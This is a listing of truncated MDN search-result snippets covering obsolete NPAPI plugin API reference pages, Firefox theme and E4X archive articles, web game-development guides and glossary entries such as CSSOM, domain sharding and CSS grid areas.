... npmimetype type, const char* target, npstream** stream); parameters the function has the following parameters: instance pointer to current plug-in instance. type mime type of the stream. target name of the target window or frame, or one of several special target names. for values, see npn_geturl. stream stream to be created by the browser. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_newstream creates a new stream of data produced by the plug-in and consumed by the browser. the mime parameter is the mime type of the plug-in to create. a plug-in can create another instance of ...
NPN_SetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows a plugin to change the stored information associated with a url, in particular its cookies. (while the api theoretically allows the preferred proxy for a given url to be changed, doing so does not have much meaning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_setvalueforurl(npp instance, npnurlvariable variable, const char *url, const char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the typ...
...w associated information for the url. note: the value may have internal null bytes and may not be null-terminated. len the length of the value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description this entry point is designed to allow plugins to affect the cookies sent by the browser back to the server. see also npn_getvalueforurl, npn_getauthenticationinfo ...
NPN_Status - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary lets a plug-in display a message on the browser's status line. syntax #include <npapi.h> void npn_status(npp instance, const char* message); parameters the function has the following parameters: instance pointer to the current plug-in instance. message pointer the buffer that contains the status message string to display. description you can use this function to make your plug-in display status information in the browser window, in the same place the browser does. if your plug-in has a button or other object that acts as a link when clicked, you can call npn_status() to display a description or url when the user moves the cursor over it. ...
... pointer the buffer that contains the status message string to display. description you can use this function to make your plug-in display status information in the browser window, in the same place the browser does. if your plug-in has a button or other object that acts as a link when clicked, you can call npn_status() to display a description or url when the user moves the cursor over it. the browser always displays the last status line message it receives, regardless of the message source. your message is always displayed, but you have no control over how long it stays in the status line before another message replaces it. see also npn_useragent() npp ...
NPP_Destroy - Archive of obsolete content
ate or other information to save for reuse by a new instance of this plug-in at the same url. passed to npp_new. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npp_destroy releases the instance data and resources associated with a plug-in. the browser calls this function when a plug-in instance is deleted, typically because the user has left the page containing the instance, closed the window, or quit the browser. you should delete any private instance-specific information stored in the plug-in's instance->pdata at this time. if this function is deleting the last instance of a plug-in, np_shutdown is subsequently called. use np_shutdown to ...
...ared by all instances of a plug-in. use the optional save parameter if you want to save and reuse some state or other information. upon the user's return to the page, this information is passed to the new plug-in instance when it is created with npp_new. avoid trying to save critical data with this function. ownership of the buf field of the npsaveddata structure passes from the plug-in to the browser when npp_destroy returns. the browser can and will discard this data based on arbitrary criteria such as its size and the user's page history. to ensure that the browser does not crash or leak memory when the saved data is discarded, npsaveddata's buf field should be a flat structure (a simple structure with no allocated substructures) allocated with npn_memalloc. mac os if you want to resto...
NPP_GetValue - Archive of obsolete content
the full list is in the npapi headers. value value for the requested variable. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. ...
...the full list is in the npapi headers. value value for the requested variable. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description npp_getvalue retrieves instance variables. ...
NPP_SetWindow - Archive of obsolete content
inter to the window into which the instance draws. the window structure contains a window handle and values for top left corner, width, height, and clipping rectangle (see note on unix below). returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description the browser calls npp_setwindow after creating the instance to allow drawing to begin. subsequent calls to npp_setwindow indicate changes in size or position; these calls pass the same npwindow object each time, but with different values. if the window handle is set to null, the window is destroyed. in this case, the plug-in must not perform any additional graphics operations on the window and should free ...
... associated resources. the data structure passed in npp_setwindow is an npwindow object, which contains the coordinates of the instance's area and various platform-specific data. this window is valid for the life of the instance, or until npp_setwindow is called again with a different value. for windowed plug-ins on windows and unix, the window parameter contains a handle to a subwindow of the browser window hierarchy. on mac os, this field points to an np_port structure. for windowless plug-ins, it is a platform-specific handle to a drawable. before setting the window parameter to point to a new window, it is a good idea to compare the information about the new window to the previous window (if one existed) to account for any changes. for windowless plugins, npp_setwindow is called with a...
NPSavedData - Archive of obsolete content
the plug-in. syntax typedef struct _npsaveddata { int32 len; void* buf; } npsaveddata; fields the data structure has the following fields: len length in bytes of the buffer pointed to by buf; set by the plug-in. buf pointer to a memory buffer allocated by the plug-in with npn_memalloc(). can be any reasonable size; its contents are private to the plug-in and are not modified by the browser. description the npsaveddata object contains a block of per-instance information that the browser saves after the instance is deleted. this information can be returned to another instance of the same plug-in if the user returns to the web page that contains it. you can use the plug-in's npp_destroy() function to allocate an npsaveddata object using the npn_memalloc() function, fill in the fiel...
...eddata object contains a block of per-instance information that the browser saves after the instance is deleted. this information can be returned to another instance of the same plug-in if the user returns to the web page that contains it. you can use the plug-in's npp_destroy() function to allocate an npsaveddata object using the npn_memalloc() function, fill in the fields, and return it to the browser as an output parameter. see instance destruction for a code example that shows how to use npsaveddata. if the user revisits a web page that contains a plug-in, the browser returns the npsaveddata to the new instance of the plug-in in a call to npp_new(). after this, the plug-in is responsible for keeping or deleting the objects as necessary. see also npp_new() npp_destroy() ...
NPWindow - Archive of obsolete content
sents the native window or a drawable, and contains information about coordinate position, size, whether the plug-in is windowed or windowless, and some platform-specific information. the plug-in area is a native window element on windows and unix, or a rectangle within a native window on mac os. the x, y, height, and width coordinates of npwindow specify the position and size of this area. the browser calls npp_setvalue whenever the drawable changes. a windowed plug-in is drawn into a native window (or portion of a native window) on a web page. for windowed plug-ins, the browser calls the npp_setwindow method with an npwindow structure that represents a drawable (a pointer to an npwindow allocated by the browser). this window is valid until npp_setwindow is called again with a different win...
...he npp_setwindow method with an npwindow structure that represents a drawable (a pointer to an npwindow allocated by the browser). this window is valid until npp_setwindow is called again with a different window or the instance is destroyed. a windowless plug-in is drawn into a target called a drawable, which can be defined in several ways depending on the platform. for windowless plug-ins, the browser calls the npp_setwindow method with an npwindow structure that represents a drawable. the plug-in should not modify the field values in this structure. see also npp_setwindow, np_port, npsetwindowcallbackstruct, nprect ...
NP_Initialize - Archive of obsolete content
x windows #include <npapi.h> nperror winapi np_initialize(npnetscapefuncs *anpnfuncs) unix #include <npapi.h> nperror np_initialize(npnetscapefuncs *anpnfuncs, nppluginfuncs *anppfuncs) returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. ...
...npnetscapefuncs *anpnfuncs, nppluginfuncs *anppfuncs) returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description the browser calls this function only once: when a plug-in is loaded, before the first instance is created. this is the first function that the browser calls. np_initialize tells the plug-in that the browser has loaded it and provides global initialization. allocate any memory or resources shared by all instances of your plug-in at this time. after the last instance of a plug-in has been deleted, the browser calls np_shutdown, where you can release allocated memory or resources. see also np_shutdown, npp_new ...
NP_Shutdown - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides global deinitialization for a plug-in. syntax #include <npapi.h> void np_shutdown(void); windows #include <npapi.h> void winapi np_shutdown(void); description the browser calls this function once after the last instance of your plug-in is destroyed, before unloading the plug-in library itself. use np_shutdown to delete any data allocated in np_initialize to be shared by all instances of a plug-in. ...
...is function once after the last instance of your plug-in is destroyed, before unloading the plug-in library itself. use np_shutdown to delete any data allocated in np_initialize to be shared by all instances of a plug-in. if you have defined a java class for your plug-in, be sure to release it at this time so that java can unload it and free up memory. note: if enough memory is available, the browser can keep the plug-in library loaded if it expects to create more instances in the near future. the browser calls np_shutdown only when the library is finally unloaded. see also np_initialize, npp_destroy ...
NPAPI plug-in side API - Archive of obsolete content
for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. ...
...for an overview of how these two sides of the plug-in api interact, see the how plug-ins work and overview of plug-in structure sections in the introduction. ...
Writing a plugin for Mac OS X - Archive of obsolete content
gcc preprocessor definition xp_macosx to 1; this is used by the npapi headers to build properly on mac os x. if you don't define it, they won't be interpreted correctly. this is easy to miss in the sample project's build settings. symbol visibility symbol visibility is a common problem for people trying to get npapi plugins working. some symbols must be visible as standard c symbols so the browser can find them, which means they need to be prefixed by an underscore, and must not have the c++ obfuscation that is generated by the c++ compiler. the three symbols that must always be visible are: np_initialize() np_getentrypoints() np_shutdown() the sample plugin is written entirely in c, using a standard xcode build configuration, so by default all of its symbols are c-style and visi...
...mple plugin is written entirely in c, using a standard xcode build configuration, so by default all of its symbols are c-style and visible. if you want to implement your plugin in c++ or objective-c++, you need to tell the compiler to export them in c format by using extern "c" in the header, like this: #pragma gcc visibility push(default) extern "c" { nperror np_initialize(npnetscapefuncs *browserfuncs); nperror np_getentrypoints(nppluginfuncs *pluginfuncs); void np_shutdown(void); } #pragma gcc visibility pop you can check to be sure your symbols are visible and in standard c format by using the nm utility provided among the mac os x developer tools: [user@foo mymac] nm basicplugin ... 00000810 t _np_getentrypoints 000007fa t _np_initialize 000008a0 t _np_shutdown ...
contents.rdf - Archive of obsolete content
state that we work only with major version 1 of thi...
...ource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information. state that we work only with major version 1 of this package. ...
Making sure your theme works with RTL locales - Archive of obsolete content
f the languages firefox and thunderbird are shipped in, that includes arabic and hebrew, with persian available as beta, for a total population in excess of 100 million potential users. the important thing to understand about these locales, is that the entire interface is mirrored right-to-left. that means that text that had a left margin will have a right margin instead (or -moz-margin-start), arrows that pointed right will have to point left and vice versa, and so on. a screenshot of firefox 2 in hebrew what you need to do at this stage you might ask yourself, "how would i know what language is my theme installed on? should i make a special theme for these locales?" don't despair: making a theme rtl-compatible is fairly easy! gecko 1.9.2 and later gecko 1.9.2 introduced the :-moz-local...
...s will have the chromedir attribute, so you may need to refer to an ancestor element that does. for example: /* we want to apply a rtl rule to #c; neither it nor its * parent element #b has a chromedir attribute, but its * grandparent element #a does. */ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the back and forward arrows, you don't really need new versions of the images. instead, just use the opposite arrow when in rtl context. using start/end rules instead of left/right rules directions are mirrored in rtl mode, so left becomes right and right becomes left. as a result, you almost never want to use left/right rules for paddings, borders, and margins. instead, you should use the following start/end rules instea...
References - Archive of obsolete content
the webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free javascript code. from matt kru...
...the webpage explains and proposes with small examples the best coding practices and most recommendable ways of developing problem-free javascript code. from matt kruse debugging html and css is a well designed website explaining wel...
E4X - Archive of obsolete content
Archive › Web › E4X
try to avoid using it. warning: e4x is obsolete. it has been disabled by default for webpages (content) in firefox 17, disabled by default for chrome in firefox 20, and has been removed in firefox 21. use domparser/domserializer or a non-native jxon algorithm instead. ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript. it does this by providing access to the xml document in a form that feels natural for ecmascript programmers. ...
...pler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x is standardized by ecma international in ecma-357 standard (currently in its second edition, december 2005). e4x is implemented (at least partially) in spidermonkey (gecko's javascript engine) and in rhino (javascript engine written in java). note: in gecko 1.8 based browsers such as firefox 1.5, e4x is already partially enabled for web page authors. to fully enable e4x, the <script> element needs to have the mime type "text/javascript;e4x=1" (i.e., have an attribute of the form type="text/javascript;e4x=1"). the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwar...
Iterator - Archive of obsolete content
is falsy, otherwise, if keyonly is truthy, it returns property_name for each iteration. if object is the iterator instance or generator instance, it returns object itself. properties iterator.prototype[@@iterator] returns a function that returns iterator object. methods iterator.prototype.next returns next item in the [property_name, property_value] format or property_name only. ...
...bject. methods iterator.prototype.next returns next item in the [property_name, property_value] format or property_name only. it throws stopiteration if there are no more items. ...
Old Proxy API - Archive of obsolete content
rty descriptors. after a call to fix(), the proxy becomes a regular (non-proxy) object with the properties listed in the return value. the handler is no longer used. moreover, the respective method (freeze(), seal(), or preventextension()) is immediately called on the fixed object. note: the fixed object has the same object identity as the proxy object. if fix() returns undefined, the call throws a typeerror exception. derived traps default implementation refers to the code that is called for that trap when the trap isn't explicitly defined. in these functions, this refers to the handler object. emulated javascript code handler method default implementation description name in proxy has: function(name) -> boolean function(name) { retur...
... function handlermaker(obj) { return { // fundamental traps getownpropertydescriptor: function(name) { var desc = object.getownproper...
Server-Side JavaScript - Archive of obsolete content
here's a radical idea: use one language to write entire web apps -- the same language which billions of web pages already use, every day. sounds obvious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated teams, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate html or ajax pages. the simplicity of using javascript on the server was part of netscape's original vision back in the day with netscape livewire. but back then, 350 mhz servers were the best you could buy, and mozilla was yet to emerge from the netscape organization to continue to advance the state of web technologies. today ...
... ...
Standards-Compliant Authoring Tools - Archive of obsolete content
currently the work done on nvu is being ported back to mozilla source code. html-kit is a full-featured, low priced editor designed to help html, xhtml and xml authors to edit, format, lookup help, validate, preview and publish web pages. validation is done with html tidy, so you can verify standards compliance. ...
...lp, validate, preview and publish web pages. validation is done with html tidy, so you can verify standards compliance. macromedia™ dreamweaver™ cs6 style master and layout master by western civilisation some caveats: it appears that tools currently available from namo generate ie-specific or netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers. newer versions of microsoft frontpage™ have improved, however be sure not to rely on frontpage-specific extensions for critical website content or functionality. some versions of microsoft word create invalid html code that only works with internet explorer. always be sure to validate your web pages. original document information last updated date: january 30th, 2003 copyright © 2001...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
de as the parent. two of them side by side will take up 98% the width of the parent element. this leaves out 2% as "wasted space," so to speak. i did it that way because it's a lot less likely to trigger a situation where rounding errors force the two floats to total more than 100% the width of the parent, as could happen if the floats' element boxes were made to total 50%. unfortunately, a few browsers don't get this right, and end up flowing the cards as a single vertical column instead of putting the fish side by side. after a bit of fiddling to try to fix this, i decided that trying to overcome this error in document flow wasn't worth the effort. the layout wasn't bad if the fish weren't laid out next to each other, so i moved on. floating fish with the cards set up to float, the next s...
... double #339; background: #eec url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} finishing the style adding the background to the heading containing the name of the fish created three problems: the double border was completely covered up by the image. the text of the h3 was basically touching the right side of the floated image... ...or it would have been, except in some browsers the heading was drawn over the floated image, in contradiction to the css specification. getting the image back on top of the heading turned out to be a matter of relatively positioning the floated image, and then giving it a z-index value. in order to create visual appeal, i decided to offset the top let corners of the fish image and fish name. with just a few simple margin and padding chan...
Correctly Using Titles With External Stylesheets - Archive of obsolete content
used at a time. therefore, given the above example, only one of the two preferred stylesheets will be applied to the document. the specification does not supply a procedure to decide which one should be used, so user agents are free to make whatever choice they like. ...
...once the user selects one of the alternate stylesheets, the preferred stylesheet will no longer be used, although the user can always re-select the preferred stylesheet. ...
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
list item markers in gecko 0.9.4, the basis of netscape 6.2.x and compuserve 7. shortly before mozilla 0.9.4 was finished, a bug was introduced that affects the sizing of list item markers (such as the numbers in an ordered list). while this bug was corrected shortly after 0.9.4 was finished, the bug still affects all netscape 6.2.x versions, as well as compuserve 7.0. the problem in affected browsers, list item markers will very often appear to be too big compared to the text in the list item itself. this is most obvious in ordered lists, where the number that precedes each list item may be obviously different than the content that follows it. in fact, the markers were set to be a uniform size that did not change to match the content of the list items, so in rare cases the marker might act...
...e the font size of the list item text, but will instead stay the same as the user's default font size. see bug 97351 for more details. the solution fortunately, there are mozilla-specific css-like rules that can be used to correct both problems. the following rule is derived from mozilla's html.css file: *|*:-moz-list-bullet, *|*:-moz-list-number {font-size: 1em;} this rule tells gecko-based browsers to use the computed value of font-size for the marker's parent, which is the list item itself. thus the font sizes of the marker and the content will be the same. since this rule is not valid css, it will prevent the validation of any stylesheet that contains it. one solution is to move the rule into its own stylesheet, and accept that the stylesheet in question will never validate. this migh...
RDF in Mozilla FAQ - Archive of obsolete content
ites using odp data pages for some directories based on the odp rdf dumps. what is a datasource? rdf can generally be viewed in two ways: either as a graph with nodes and arcs, or as a "soup" of logical statements. a datasource is a subgraph (or collection of statements, depending on your viewpoint) that are for some reason collected together. some examples of datasources that exist today are "browser bookmarks", "browser global history", "imap mail accounts", "nntp news servers", and "rdf/xml files". in mozilla, datasources can be composed together using the composite data source. this is like overlaying graphs, or merging collections of statements ("microtheories") together. statements about the same rdf resource can then be intermingled: for example, the "last visit date" of a particular...
...obal history", "imap mail accounts", "nntp news servers", and "rdf/xml files". in mozilla, datasources can be composed together using the composite data source. this is like overlaying graphs, or merging collections of statements ("microtheories") together. statements about the same rdf resource can then be intermingled: for example, the "last visit date" of a particular website comes from the "browser global history" datasource, and the "shortcut keyword" that you can type to reach that website comes from the "browser bookmarks" datasource. both datasources refer to "website" by url: this is the "key" that allows the datasources to be "merged" effectively. for a more detailed account of how to write a datasource, refer to the rdf datasource how-to. how does mozilla manage datasources? the...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
warning: the content of this article may be out of date. this article was written on august 31, 2001; it is not compatible with current versions of firefox. this article applies to mozilla versions 0.9.2 and higher and netscape versions 6.1 and higher. it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozi...
...is possibility in the new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers. in order to make it still possible to script plugins, some changes have been made to the mozilla code. the changes allow to make existing 4.x plugins scriptable with only minor modifications in their code. the present document describes the steps of what should be done to the plugin code to turn it scriptable again. what's in the mozilla code? a couple of lines have been added to the dom code...
Introduction to game development for the Web - Game development
the modern web has quickly become a viable platform not only for creating stunning, high quality games, but also for distributing those games. the range of games that can be created is on par with desktop and native os counterparts. with modern web technologies and a recent browser, it's entirely possible to make stunning, top-notch games for the web. and we're not talking about simple card games or multi-player social games that have in the olden days been done using flash®. we're talking about kick-ass 3d action shooters, rpgs, and more. thanks to massive performance improvements in javascript just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises. the html5 game platform you can truly thin...
...on their own computer or device. a great way to save game state and other information locally so it doesn't have to be downloaded every time it's needed. also useful to help make your game playable even when the user isn't connected to the web (such as when they're stuck on an airplane for hours on end). javascript javascript, the programming language used on the web, is blazing fast in modern browsers and getting faster all the time. use its power to write the code for your game, or look at using technologies like emscripten or asm.js to easily port your existing games. pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise me...
Game promotion - Game development
ne is html5gamedevs.com. share your gamedev news and answer questions, so people will value what you're doing and will know that you're ok. remember to not be too pushy on telling everyone about your games — you're not a walking advertisement. grow your fanbase by talking to them, sharing tips, offering discounts, giving away prizes in competitions, or just complaining at the weather or buggy browser you have to deal with. act cool, be generous, be yourself and be there for others, and you'll get treated with respect. game portals using game portals is mostly concerned with monetization, but if you're not planning to sell licenses to allow people to purchase your game and are intending to implement adverts or in-app purchases instead, promoting your game across free portals can be effecti...
...ames for publication on portals like crazygames.com, gamedistribution.com, lagged.com, pacogames.com ,games4html5.com or html5games.com, and there are about 20-30 other notable game portals with and without api. those portals that have their own api will allow you to authorize users, save their progress and process in-app purchases. you can also sell a full version of the game from inside your browser demo version, which will be a great move considering high competition, some developers even manage to make full browser versions. most portals offer revenue share deals or will buy non exclusive license. free portals offer traffic, but only the best ones are popular enough to generate revenues from advertisements on in-app purchases. on the other hand they are a perfect tool to make games visi...
GLSL Shaders - Game development
code a lot simpler and clearer to understand, so you can just focus on the shader code. three.js and other 3d libraries abstract a lot of things for you — if you wanted to create such an example in raw webgl, you'd have to write a lot of extra code to actually make it work. environment setup to start with the webgl shaders you don't need much. you should: make sure you are using a modern browser with good webgl support, such as the latest firefox or chrome. create a directory to store your experiments in. save a copy of the latest minimized three.js library inside your directory. html structure here's the html structure we will use. <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: shaders demo</title> <style> body { margin: 0; padding: 0; font-size: 0; ...
...code of the cube. most of the components like the renderer, camera, and lights will stay the same, but instead of the basic material we will set the cube's color and position using shaders. go to the cube.html file on github, copy all the javascript code from inside the second <script> element, and paste it into the third <script> element of the current example. save and load index.html in your browser — you should see a blue cube. the vertex shader code let's continue by writing a simple vertex shader — add the code below inside the body's first <script> tag: void main() { gl_position = projectionmatrix * modelviewmatrix * vec4(position.x+10.0, position.y, position.z+5.0, 1.0); } the resulting gl_position is calculated by multiplying the model-view and the projection matrices by ea...
Crisp pixel art look with image-rendering - Game development
the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time. also, some game techniques require algorithms that analyse images, which also benefit from working with smaller images. the css property to achieve this scaling is image-rendering. it is still experimental, but there is partial support in most browsers. the steps to achieve this effect are: create a <canvas> element and set its width and height attributes to the original, smaller resolution. set its css width and height properties to be 2x or 4x the value of the html width and height. if the canvas was created with a 128 pixel width, for example, we would set the css width to 512px if we wanted a 4x scale. set the <canvas> element's ima...
...reated with a 128 pixel width, for example, we would set the css width to 512px if we wanted a 4x scale. set the <canvas> element's image-rendering css property to some value that does not make the image blurry. either crisp-edges or pixelated will work. check out the image-rendering article for more information on the differences between these values, and which prefixes to use depending on the browser. an example let's have a look at an example. the original image we want to upscale looks like this: here's some html to create a simple canvas: <canvas id="game" width="128" height="128"></canvas> css to size the canvas and render a crisp image: canvas { width: 512px; height: 512px; image-rendering: -moz-crisp-edges; image-rendering: -webkit-crisp-edges; image-rendering: pixe...
Techniques for game development - Game development
s, async scripts are an essential technique to take advantage of, so that your game's javascript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users. this article explains how. optimizing startup performance how to make sure your game starts up quickly, smoothly, and without appearing to lock up the user's browser or device. using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players. this article explains what this can do for you, and shows how to use libraries that make this easy. efficient animation for web games this article covers techniq...
... and advice for creating efficient animation for web games, with a slant towards supporting lower end devices such as mobile phones. we touch on css transitions and css animations, and javascript loops involving window.requestanimationframe. audio for web games audio is an important part of any game — it adds feedback and atmosphere. web-based audio is maturing fast, but there are still many browser differences to negotiate. this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. 2d collision detection a concise introduction to collision detection in 2d games. tilemaps tiles are a very popular technique in 2d games for building the game world. these articles provide an introduction to t...
asm.js - Game development
sn't, it's a bug and there's a clear spec that engines should optimize for. it also makes it easy for people writing compilers that want to generate high-performant code on the web. they can consult the asm.js spec and know that it will run fast if they adhere to asm.js patterns. emscripten, a c/c++ to javascript compiler, emits asm.js code to make it run with near native performance on several browsers. additionally, if an engine chooses to specially recognize asm.js code, there even more optimizations that can be made. firefox is the only browser to do this right now. asm.js language summary asm.js is an intermediate programming language. asm.js has a very predictable perfomance rate because it is limited to an extremely restricted subset of javascript that provides only strictly-typed ...
...gramming language. asm.js has a very predictable perfomance rate because it is limited to an extremely restricted subset of javascript that provides only strictly-typed integers, floats, arithmetic, function calls, and heap accesses. the performance characteristics are closer to native code than that of standard javascript. using a subset of javascript asm.js is already supported by major web browsers. since asm.js runs in a browser it depends heavily on the browser and the hardware. ...
Finishing up - Game development
ddle are reset, along with the movement of the ball. rendering the lives display now you need to add a call to drawlives() inside the draw() function and add it below the drawscore() call. drawlives(); improving rendering with requestanimationframe() now let's work on something that is not connected to the game mechanics, but to the way it is being rendered. requestanimationframe helps the browser render the game better than the fixed framerate we currently have implemented using setinterval(). replace the following line: var interval = setinterval(draw, 10); with simply: draw(); and remove each instance of: clearinterval(interval); // needed for chrome to end game then, at the very bottom of the draw() function (just before the closing curly brace), add in the following line, whi...
...it will sync the framerate accordingly and render the shapes only when needed. this produces a more efficient, smoother animation loop than the older setinterval() method. compare your code that's all — the final version of the game is ready and set to go ! exercise: change the number of lives and the angle the ball bounces off the paddle. game over - for now! you've finished all th...
Visual-js game engine - Game development
and : npm install mysql npm install delivery npm install express npm install mkdirp npm install socket.io npm install nodemailer@0.7.0 very easy installation and project files generator . now you can use on-page-editor (nice for visual setup , checking positions and dimensions - not for logic ) . manual start from cmd : server_folder/node editor.js after starting on-page-editor open browser icon to open internet browser in editor mode . see video explanation : if you use editor.js to visual create game object method , you must start ***node build_from_editor_to_visual_js_file.js*** on the end of work. this tool will create visual.js in folder starter/ with all your game object was created in editor style . or you can use visual-js source editor. visual-js source edit...
...alog for define type of new game object ) add->quick code (make your work faster - add usually code blocks) resources - explorer view for images and audios , you can drag or edit also need to execute node build_resources for creating resources object for engine. inserting new code will be always at current line selected intro editor . save on drop menu or better with ctrl+s before testing in browsers. adding new script explanation : after adding new script and save script if you have extra changes , open starter/run.js and you will found line : sys.script.load("scripts/new_script.js") ctrl+s use from menu run->choose browser for testing . - important safari not working at the moment chrome , firefox , opera tutorial - pencil (animation path) : how to use pencil tool to c...
Adobe Flash - MDN Web Docs Glossary: Definitions of Web-related terms
...
... ...
CSS Object Model (CSSOM) - MDN Web Docs Glossary: Definitions of Web-related terms
operties for each selector in the form of a tree, with a root node, sibling, descendant, child, and other relationship. the cssom is very similar to the document object model (dom). both of them are part of the critical rendering path which is a series of steps that must happen to properly render a website. ...
...the cssom, together with the dom, to build the render tree, which is in turn used by the browser to layout and paint the web page. cssom api the css object model is also a set of apis allowing the manipulation of css from javascript. it is much like the dom, but for the css rather than the html. ...
Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
in a browser, the chrome is any visible aspect of a browser aside from the webpages themselves (e.g., toolbars, menu bar, tabs). this is not to be confused with the google chrome browser. ...
... in a browser, the chrome is any visible aspect of a browser aside from the webpages themselves (e.g., toolbars, menu bar, tabs). this is not to be confused with the google chrome browser. ...
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
to prevent the requirement of downloading ginormous files, scripts can be split into multiple smaller files. then features required at page load can be downloaded immediately with additional scripts being lazy loaded after the page or application is interactive, thus improving performance. ...
...les. then features required at page load can be downloaded immediately with additional scripts being lazy loaded after the page or application is interactive, thus improving performance. while the total amount of code is the same (and perhaps even a few bytes larger), the amount of code needed during initial load can be reduced. code splitting is a feature supported by bundlers like webpack and browserify which can create multiple bundles that can be dynamically loaded at runtime. see also bundling lazy loading http/2 tree shaking ...
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
browsers limit the number of active connections for each domain. to enable concurrent downloads of assets exceeding that limit, domain sharding splits content across multiple subdomains. when multiple domains are used to serve multiple assets, browsers are able to download more resources simultaneously, resulting in a faster page load time and improved user experience. the problem with domain sharding, in terms of performance, is the cost of extra dns lookups for each domain and the overhead of establishing each tcp connection. the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded. ...
... in a faster page load time and improved user experience. the problem with domain sharding, in terms of performance, is the cost of extra dns lookups for each domain and the overhead of establishing each tcp connection. the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded. as browsers limit the number of active connections per domain, serving all the required resources from a single domain could be slow as assets need to be downloaded sequentially. with domain sharding, the required downloads are served from more than one domain, enabling the browser to simultaneously download needed resources. multiple domains, however, is an anti-pattern, as dns lookups slow initial load ...
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
the values of 'slow-2g', '2g', '3g', and '4g' are determined using observed round-trip times and downlink values. ...
... suited for transfers of large assets such as high resolution images, audio, and sd video. 4g 0ms ∞ the network is suited for hd video, real-time video, etc. ...
First contentful paint - MDN Web Docs Glossary: Definitions of Web-related terms
this excludes any content of iframes, but includes text with pending webfonts. ...
...this excludes any content of iframes, but includes text with pending webfonts. ...
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
scrolling and zooming are not included in this metric. ...
...scrolling and zooming are not included in this metric. ...
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
a css grid is defined using the grid value of the display property; you can define columns and rows on your grid using the grid-template-rows and grid-template-columns properties. the grid that you define using these properties is described as an explicit grid. if you place content outside of this explicit grid, or if you are relying on auto-placement and the grid algorithm needs to create additional row or column tracks to hold grid items, then extra tracks will be created in the implicit grid. the implicit grid is the grid created automatically due to content being added outside of the tracks defined. in the example below i have created an explicit grid of three columns and two rows. the third row on the grid is an implicit grid row track, formed due to their being more than the s...
...x items which fill the explicit tracks. ...
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
ering four grid cells, the other two. ...
...olor: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3,1fr); grid-template-rows: 100px 100px; grid-template-areas: "a a b" "a a b"; } .item1 { grid-area: a; } .item2 { grid-area: b; } <div class="wrapper"> <div class="item1">item</div> <div class="item2">item</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns grid-template-areas grid-area further reading css grid layout guide: basic concepts of grid layout css grid layout guide: grid template areas definition of grid areas in the css grid layout specification ...
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
creating a new row for the remaining two. ...
